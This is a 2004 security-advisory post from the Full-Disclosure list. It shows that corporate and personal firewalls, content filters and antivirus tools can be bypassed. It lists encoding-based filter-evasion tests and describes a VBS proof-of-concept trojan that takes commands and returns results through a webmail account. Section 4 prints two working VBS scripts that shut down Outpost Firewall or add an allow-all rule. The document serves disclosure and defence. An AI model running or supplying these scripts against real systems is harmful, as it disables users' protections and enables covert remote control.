From: 3APA3A (3APA3ASECURITY.NNOV.RU)
Date: Thu Oct 28 2004 - 07:56:48 CDT

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Topic: Bypassing client application protection techniques
Category: Protection bypass
Affected products:
 CheckPoint VPN-1(TM) & FireWall-1(R) NG with Application Intelligence
 (R55) HFA 9
 Microsoft Windows XP SP2
 Agnitum Outpost Pro 2.1, 2.5
 Tiny Firewall Pro v6.0.100
 ZoneAlarm Pro with Web Filtering v4.5.594
 BlackICE PC Protection 3.6
 Kerio Personal Firewall 4.0
 WRQ ATGuard 3.2
Authors:
 offtopic, <offtopicmail.ru>
 3APA3A, <3APA3Asecurity.nnov.ru>
Original link:
 http://www.security.nnov.ru/advisories/bypassing.asp
Special thanks to Igor U. Miturin for testing and coordinating
Checkpoint issues, to Checkpoint for cooperation, to Agnitum for
"opossum" topic public debates and some ideas.

Disclaimer:

</SARCASM>
This article is neither attempt to teach scriptkiddies to write trojans
nor attempt to create one by authors. It's a call to security community
to activate discussion on protection techniques for Internet client
application security. Yes, we want to fire a flame. We apologies we did
not contacted vendors on many issues they may consider as security
vulnerabilities in their products. We believe, to solve discussed
problem instead of fixing illustrating PoCs, all products must be
architecturally changed, not patched. Before architectural change any
schoolboy with scripting skills can get access to corporate network
protected by advertised product. We share a point of view, this should
not be treated as product vulnerability.
<SARCASM>
<APPLAUSE />
(yes, pedram).

1. Introduction

 1.1 Front end security

 Last years were revolutionary for network services infrastructure
 security. In addition to more secure and stable operation systems and
 services, we've got a lot of industrial solutions - stateful firewalls
 with level 7 inspection, intrusion detection and intrusion prevention
 systems, reliable clusters and distributed solutions to fight DDoS
 attacks... And we got actually nothing in the field of client
 application protection. Security of client network applications, such
 as browsers, mail and instant messaging agents is on the same level it
 was 5 years ago, and things became worse, because these applications
 are now critical for business, we can not simply stop using e-mail.
 <APPLAUSE />

 Client application security is very important, because same application
 can be used to process untrusted, potentially dangerous data as well
 as sensitive information.
 <OBJECTIONS FROM HALL, LEFT UNANSWERED />

 We, as many security professionals, have a feeling industry moves to
 wrong direction in the area of client application security. To
 demonstrate this point of view, this article was written. We discuss
 some methods of breaking into managed, protected corporate network
 without any special skills. "Exploits" illustrating this article were
 written with notepad.exe.

 1.2 What do you use to protect your client systems against Internet
 attack?

 There are very few widely deployed techniques. Among them are: content
 filtering on corporate firewall (including antiviral filtering) and
 personal antiviruses and personal firewalls (PFW). In addition to
 content filtering personal firewalls implement integrity control for
 applications and system by controlling integrity of the files, blocking
 access to some API functions and limiting network access to only
 trusted applications.

 Of cause, there are few really interesting approaches to secure client
 applications, some of them are discussed later, but usually these
 techniques are not generally used.

 1.3 What will we demonstrate.

 We will not teach you how to attack any specific client application.
 Latest Mozilla experience demonstrate, security bug in client
 application can always be found for approximately $500 (should we talk
 about Internet Explorer? Mozilla goes with discounted price because not
 demanded on zombi market). We will try to illustrate, that $500 is,
 probably, all that required to get access to your network. It doesn't
 depend on protection techniques listed above, because protection can be
 bypassed by any schoolboy. If this protection is all you have, you have
 no protection at all. In fact, iDefense makes more for community than
 any PWF vendor (it's not a joke): it pays for newly discovered security
 issue more than shadow market does. At least you have additional $500
 to your security this way.
 <LAUGHING, OBJECTIONS (LEFT UNANSWERED), APPLAUSE />
 </SARCASM>
 Problem of paid vulnerability research is not black-and-white like one
 can believe. Without commercial software or commercial services
 freeware would not survive, because good programmer needs money. Same
 tendencies are in vulnerability research. C'est la vie. We can discuss
 it.
 <SARCASM>
 Full-disclosure? Who believe in it...

 So, we proudly present you how to:

 Bypass content filtering for corporate and personal firewall (yes,
 again, and again and again).
 Bypass network access protection for personal firewall
 Bypass integrity protection for personal firewall or antivirus.

 Above is a list of tested products. It's incomplete. Some vendors were
 contacted and replied. Some fixes were published, but none of contacted
 vendors was able to fix all problems discussed. We do not belive it's
 possible in nearest future to prevent corporate network protected only
 with firewalls, personal firewalls and antiviruses from being hacked by
 the schoolboy.

<DEEP SILENCE />
<PUTTING MEAN BLACK HATS ON />
2. Bypassing content filtering again and again and again
 ____________________________________________________________
 Axiom: there is always one more way to bypass content filter.

 Explanation: because content filter and client application use
 different algorithms for data processing, there is always data
 processed differently by client application and content filter.

 2.1 Configuration used

 In our configuration we used content filtering features of 2 firewalls:
 Checkpoint as corporate firewall and Agnitum Outpost Pro as a personal
 firewall. Both firewalls were set to filter scripting and ActiveX
 elements. By using few techniques described in [1] we wrote a set of
 tests to attack Internet Explorer protected by these 2 firewalls (and
 additionally with 2 different antiviruses) on 2 different levels to
 execute javascript.

 2.2 Test descriptions:

  2.2.1 http://www.security.nnov.ru/files/opossum/test1.html
  Problem with special characters (0x0B) demonstrated. [1].II.9
 
  2.2.2 http://www.security.nnov.ru/files/opossum/test2.html
  Problem with RFC2781 decoding (UTF-16, little endian). [1].II.1

  2.2.3 http://www.security.nnov.ru/files/opossum/test3.html
  Problem with RFC2781 decoding (UTF-16, big endian). [1].II.1

  2.2.4 http://www.security.nnov.ru/files/opossum/test4.gif
  Different approach of different clients to content type definition [1].II.13
  
  2.2.5 http://www.security.nnov.ru/files/opossum/test5.gif
  Same as 2.2.4 + exploitation of stream buffering.

  2.2.6 http://www.security.nnov.ru/files/opossum/test6.html
  Problem with special characters (0x00) demonstrated. [1].II.9

  2.2.7 http://www.security.nnov.ru/files/opossum/test7.asp
  Inability to parse UTF-7 encoding (with Content-Type) [1].II.2

  2.2.8 http://www.security.nnov.ru/files/opossum/test8.html
  Inability to parse UTF-7 encoding (with Meta http-equiv) [1].II.2

  2.2.9 http://www.security.nnov.ru/files/opossum/test9.html
  Inability to catch scripting via expression(). Was described by
  http-equiv (malware.com).

  2.2.10. http://www.security.nnov.ru/files/opossum/test10.html
  Inability to catch scripting in styles [1].II.15
  
  2.2.11 http://www.security.nnov.ru/files/opossum/test11.mht
  Inability to parse MHT files (RFC 2557)

  Content filtering bypass techniques used are known for years. Outpost
  failed all tests. Checkpoint failed 2.2.2, 2.2.3, 2.2.6, 2.2.8, 2.2.9,
  2.2.10, 2.2.11.

 2.3 Vendors:

  Both Checkpoint and Agnitum were contacted. Checkpoint covers issues
  discussed in R55HFA10. 2.2.10 and 2.2.11 additionally require
  disabling CSS and MHT with special settings (I do not believe it can
  be accepted as solution). Agnitum fixes very few issues in Outpost 2.5
  version. Please, check your own content filter before blaming Agnitum
  or Checkpoint.

3. Bypassing network access restrictions with trusted application
 ____________________________________________________________
 Axiom: Malware is undistinguishable from user application

  Next step after successful client application attack is usually
  getting remote control on attacked computer.

  Personal firewall usually restricts access to network to the list of
  allowed application. In addition, integrity of these applications is
  controlled to prevent code insertion into executable file. It makes it
  impossible to install trojan application with direct network access.

  Common idea behind bypassing this protection is using trusted
  application (for example browser) to access external network. Usually,
  execution flow of target application with DLL injection technique,
  WriteProcessMemory(), CreateRemoteThread() or something like this. You
  can find description in [1] and [2]. These methods require programming
  skills, additionally, personal firewall could set a hooks to protect
  against this kind of attack. Additionally, trojan application in this
  case should implement almost all network functions, including
  network topology discovery and proxy communication.

  Additionally, access of client application can be limited only to a
  list of trusted sites.

  Our approach is very simple. We call it CAT (Client Application
  Trojaning). We use trusted application itself without attempt to hack
  into it's code..
   http://www.security.nnov.ru/files/opossum/CAT.zip
  is simple PoC application. CAT uses COM to launch and control client
  application (Internet Explorer). This allows practically full access
  to the IE recourses, so we can ask IE to navigate to our site, and IE
  will use its proxy's and other settings. We don't need to include
  http-client code in our application - IE does all work for us.

  Another interesting thing - it's a work via trusted sites. In our
  example Trojan uses www.mail.ru server to communicate with bad guy,
  but it easy to use other trusted network services, for example
  Google's proxy
  (http://translate.google.com/translate?hl=en&u=www.phrack.org).
  Additionally almost any search system can be used as proxy with only
  limitation that each iteration may require few days.
  
  This CAT PoC works as next:

  - It creates IE COM object, navigates to www.mail.ru site.
  - CAT passes username and password to the site, and gets access to mailbox
  - CAT sends notification message "ready" to specified mailbox
  - Every 20 seconds CAT checks mailbox for messages with XXX.request
    subject (XXX - integer number).
  - If message appears in mailbox, CAT reads it, deletes message, and
    process it's data as a batch file.
  - Execution results are send to predefined account.

  remove IE.Visible = true
  line to run application in hidden mode.

  All this great functionality lies in 100 lines of VBS. You see, Basic
  can be more effective than assembler.
  <ARE NOT WE SCRIPTKIDDIES IN IMAGINARY BLACK HATS?>
  ILOVEYOU and another scripting viruses demonstrated application like
  this can be written by 14 y.o. schoolboys. VBS can be executed from
  Microsoft Office applications, Windows Explorer, Internet Explorer,
  etc.

  All personal firewalls tested, except Outpost 2.5 failed to detect
  information leak with this script. Outpost 2.5 requires minor
  modification for original script to start one additional IE instance
  before launching IE via COM, script modification is set as homework.

4. Bypassing personal firewall integrity protection
 ____________________________________________________________
 Axiom: Malware is undistinguishable from user

  This script unloads Outpost firewall (any version)

       set WShell = CreateObject("WScript.Shell")

       WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
       WScript.Sleep 200
       WShell.AppActivate "Agnitum", TRUE
       WScript.Sleep 100
       WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
       WScript.Sleep 100
       WShell.SendKeys "{ENTER}"

  Another one creates a rule to permit Internet access for all
  applications

       set WShell = CreateObject("WScript.Shell")

       WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
       WScript.Sleep 100
       WShell.AppActivate "Agnitum", TRUE
       WScript.Sleep 10
       WShell.SendKeys "{F10}{LEFT}{LEFT}{LEFT}"
       WScript.Sleep 10
       WShell.SendKeys "{DOWN}{DOWN}{DOWN}{DOWN}{ENTER}"
       WScript.Sleep 10
       WShell.SendKeys "a{ENTER}"
       WScript.Sleep 10
       WShell.SendKeys "{F10}{LEFT}{DOWN}"
       WScript.Sleep 10
       WShell.SendKeys "n"

<APPLAUSE, BRAVOS />
<MEAN HATS OFF />

5. Final noise.
 ____________________________________________________________
 Axiom: There is no cure against unknown Malware. There are no Axioms in
 client application protection.

 The only way to somehow secure client application is implementing
 sandbox for any application to work with untrusted data. There are
 attempts to implement such sandbox without limiting it's functionality,
 for example GeSWall [4](by the way this project is looking for sponsor
 on investor). There are few commercial solutions of this kind, I do not
 believe any of this solution provides reliable security for Internet
 client application. Virtual machines for most architectures also have
 known flaws. Most reliable way to protect client application for now is
 creation of additional DMZ for application servers and providing
 terminal access to untrusted applications inside DMZ. Configuration
 example can be found in [5]. Of cause, this approach is not 100%
 reliable too.

 That's all.

<LONG APPLAUSE, OBJECTIONS FROM HALL (LEFT UNANSWERED), A COUPLE OF
WELL ANSWERED ROTTEN EGGS />

6. Links:

[1] 3APA3A, Bypassing content filtering software
http://www.security.nnov.ru/advisories/content.asp
[2] Firewall leak tester
http://www.firewallleaktester.com/
[3] rattle, Using Process Infection to Bypass Windows Software Firewalls
http://www.phrack.org/show.php?p=62&a=13
[4] GeSWall (General Systems Wall)
http://www.securesize.com/
[5] offtopic, 3APA3A, "In front of front-end security"
http://www.linuxchile.cl/docs.php?op=ver&id=65

<WARNING: SARCASM tag was not open within document \>
<WARNING: SARCASM tag was not closed within document \>

--
/3APA3A

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

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